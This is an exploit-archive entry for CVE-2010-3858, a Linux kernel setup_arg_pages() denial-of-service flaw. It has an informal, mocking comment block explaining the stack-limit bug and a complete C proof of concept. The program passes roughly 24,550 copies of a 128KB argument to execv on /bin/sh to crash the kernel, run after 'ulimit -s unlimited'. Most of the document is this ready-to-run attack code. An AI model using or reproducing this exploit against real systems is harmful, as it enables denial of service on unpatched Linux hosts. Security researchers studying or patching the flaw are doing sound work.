ExploitFixes
Linux Kernel 'setup_arg_pages()' Denial of Service Vulnerability - [CVE: 2010-3858] 2010-11-26 09:15:11

Source: http://www.securityfocus.com/bid/44301/info
/* known for over a year, fixed in grsec
bug is due to a bad limit on the max size of the stack for 32bit apps
on a 64bit OS. Instead of them being limited to 1/4th of a 32bit
address space, they're limited to 1/4th of a 64bit address space -- oops!
in combination with vanilla ASLR, it triggers a BUG() as the stack
tries to expand around the address space when shifted
Below mmap_min_addr you say? uh oh! ;)

Reported to Ted Tso in December 2009
Linus today (Aug 13 2010) silently fixes tangential issue:
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=320b2b8de12698082609ebbc1a17165727f4c893

The second bug here is that the memory usage explodes within the
kernel from a single 128k allocation in userland
The explosion of memory isn't accounted for by any task so it won't
be terminated by the OOM killer

curious what actual vuln was involved that they were trying
to silently fix, as I don't think it's the one below
clobbering data in a suid app by growing the stack into the mapping
for the image? ;) I smell privesc...mumblings of X server/recursion

ulimit -s unlimited
./64bit_dos

SELinux is here to save us though with its fine-grained controls!
Wait, it doesn't?
Clearly the solution is to throw a buggy KVM on top of it
Not enough? Ok, we'll throw in an extra SELinux, that'll really
throw those hackers off when they use the same exact exploit on the
host as they do on the guest!
COMMON CRITERIA HERE I COME!
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/personality.h>

#define NUM_ARGS 24550

int main(void)
{
char **args;
char *str;
int i;

/* not needed, just makes it easier for machines with less RAM */
personality(PER_LINUX32_3GB);

str = malloc(128 * 1024);
memset(str, 'A', 128 * 1024 - 1);
str[128 * 1024 - 1] = '\0';
args = malloc(NUM_ARGS * sizeof(char *));
for (i = 0; i < (NUM_ARGS - 1); i++)
args[i] = str;
args[i] = NULL;

execv("/bin/sh", args);
printf("execve failed\n");

return 0;
}